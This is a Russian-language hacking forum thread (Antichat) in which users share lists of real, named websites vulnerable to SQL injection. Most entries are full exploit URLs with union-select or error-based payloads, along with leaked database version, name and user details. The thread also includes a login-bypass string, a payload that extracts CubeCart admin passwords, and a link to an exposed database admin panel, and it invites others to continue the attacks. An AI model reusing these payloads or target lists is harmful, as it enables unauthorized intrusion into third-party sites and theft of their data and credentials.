ANTICHAT — форум по информационной безопасности, OSINT и технологиям

PR5

http://www.rtuni.org/extendedschools/page.php?page_id=-1+union+select+1,2,3,4,5,6,7,version(),9--

Database Version: 5.0.90-community

Database name: bbritton_rtu

User name: bbritton_root@localhost

Version: 5.0.22-Debian_0ubuntu6.06.2-log

Database: personal

Username: inb@localhost

Google PR: 5

PR 1

ТИЦ 60 PR 3

ТИЦ 80 PR 3

ТИЦ 10 PR 4

ТИЦ 80 PR 2

PR 3

ТИЦ 20 PR 2

Шоп

http://youronesourcefitness.com/trainers.php?id=30+union+select+concat_ws(0x3a,@@v ersion,@@version_compile_os,@@version_comment,@@ve rsion_compile_machine),2,3,4,5,6,7,8,9,10,1,2,3,4, 5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8, 9,10,1,2

http://www.limelight-software.com/article.php?id=-59+union+select+1,2,aes_decrypt(aes_encrypt(versio n(),1),1),4,5,6,7

http://www.yangdentalgroup.net/nl/article.php?id=1512;select+version()::int,null,nul l,null,null,null,null,null,null,null,null,null,nul l,null,null&type=col

http://www.unitedpurpose.org/archive/article.php?id=100+union+select+1,2,3,4,5,6,group_ concat(table_name),8,9,10,11,12,13+from+informatio n_schema.`tables`+where+table_schema=database()

http://www.duesseldorf.feg.de/static/sebalu2/article.php?id=-48+union+select+1,2,3,4,5,6,7,8,9

http://www.israel-diaspora.info/article.php?id=-853+union+select+1,2,version(),4,5,6,7,8,9,10,11,1 2,13

http://www.eleganthomesinwesttoronto.com/ShowResources.cfm?Pageid=(select+top+1+table_name+ from+information_schema.tables)&TypeOfPage=2

http://www.musicforpercussion.com/php/NewsDetail.php?ID=-130+union+select+1,2,3,4,version(),6,7,8,9,10,11,1 2,13,14--

http://www.odessachamber.com/newsdetail.php?id=14'+or+(1,1)=(select+count(0),co ncat((select+version()+from+information_schema.tab les+limit+0,1),floor(rand(0)*2))from(information_s chema.tables)+group+by+2)--+

http://www.dkggroup.com/newsdetail.php?id=165+or+(1,1)=(select+count(0),co ncat((select+version()+from+information_schema.tab les+limit+0,1),floor(rand(0)*2))from(information_s chema.tables)+group+by+2)--+

http://www.tango04.com/news/newsdetail.php?id=-361+union+select+1,version(),3,4,5,6,7,8,9,10,11,1 2,13

http://www.dutchtub.com/english00/newsdetail.php?id=-207+union+select+1,2,version(),4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, 29,30,31,32,33,34&titel=eco_gadget_of_the_year!

http://www.marmoon.com/games.php?id=-437+union+select+1,2,3,version(),5,6,7,8,9,10,11,1 2,13

http://www.dakamericas.com/newsdetail.php?id=19'+or+(1,1)=(select+count(0),co ncat((select+version()+from+information_schema.tab les+limit+0,1),floor(rand(0)*2))from(information_s chema.tables)+group+by+2)--+

http://www.bathfringe.co.uk/page.php?pageid=38+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31&PHPSESSID='2ebe0d1ced95240449e5f9e c7bb9219c

PR - 7

ps. кому не лень, можете и докрутить ;-)


Небольшой хостинг картинок

sql inj в POST данных. логика запроса SELECT * FROM ??? WHERE (login = '#login#') and (password = '#password#').

можно зайти под любым пользователем : D

l: #login#') or 1=1#

p: put smth here

http://www.eonclash.com/ViewProduct.php?ProductID=27+and+substring(version (),1,1)=4

http://www.rdmarket.ru/index.php?productID=1492'+or+(1,1)=(select+count(0 ),concat((select+version()+from+information_schema .tables+limit+17,1),floor(rand(0)*2))from(informat ion_schema.tables)+group+by+2)--+

http://stroymag.kiev.ua/index.php?productID=342+or+(1,1)=(select+count(0), concat((select+version()+from+information_schema.c olumns+limit+0,1),floor(rand(0)*2))from(informatio n_schema.tables)+group+by+2)--+

http://www.vk4ajj.com/cubecart/index.php?_a=viewProd&productId=342+or+(1,1)=(sele ct+count(0),concat((select+password+from+CubeCart_ admin_users+limit+0,1),floor(rand(0)*2))from(infor mation_schema.tables)+group+by+2)--+

(http://www.vk4ajj.com/cubecart/modules/3rdparty/Estelles_Mod_Store/css/php.ini)

http://www.eventphotocards.com/index.php?_a=viewProd&productId=342+or+(1,1)=(sele ct+count(0),concat((select+version()+from+informat ion_schema.tables+limit+0,1),floor(rand(0)*2))from (information_schema.tables)+group+by+2)--+

Шоп

http://www.fitshop.de/de/kategorie/riegel/18/index.html?br[0]=4+and+row(1,2)in(select+count(*),concat((select+c oncat(table_name,0x3a,column_name)+from+informatio n_schema.columns+where+column_name+like+0x25706173 7325+limit+1,1),0x3a,floor(rand(0)*2))as+a+from+in formation_schema.columns+x+group+by+a)

Script: /de/kategorie/riegel/18/index.html?

http://fitshop.de/sqladmin/

хеши в соседном разделе.

__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.

продолжаем шопы

http://www.gskpiter.ru/index.php?productID=36+or+(1,1)=(select+count(0),c oncat((select+version()+from+information_schema.ta bles+limit+0,1),floor(rand(0)*2))from(information_ schema.tables)+group+by+2)--+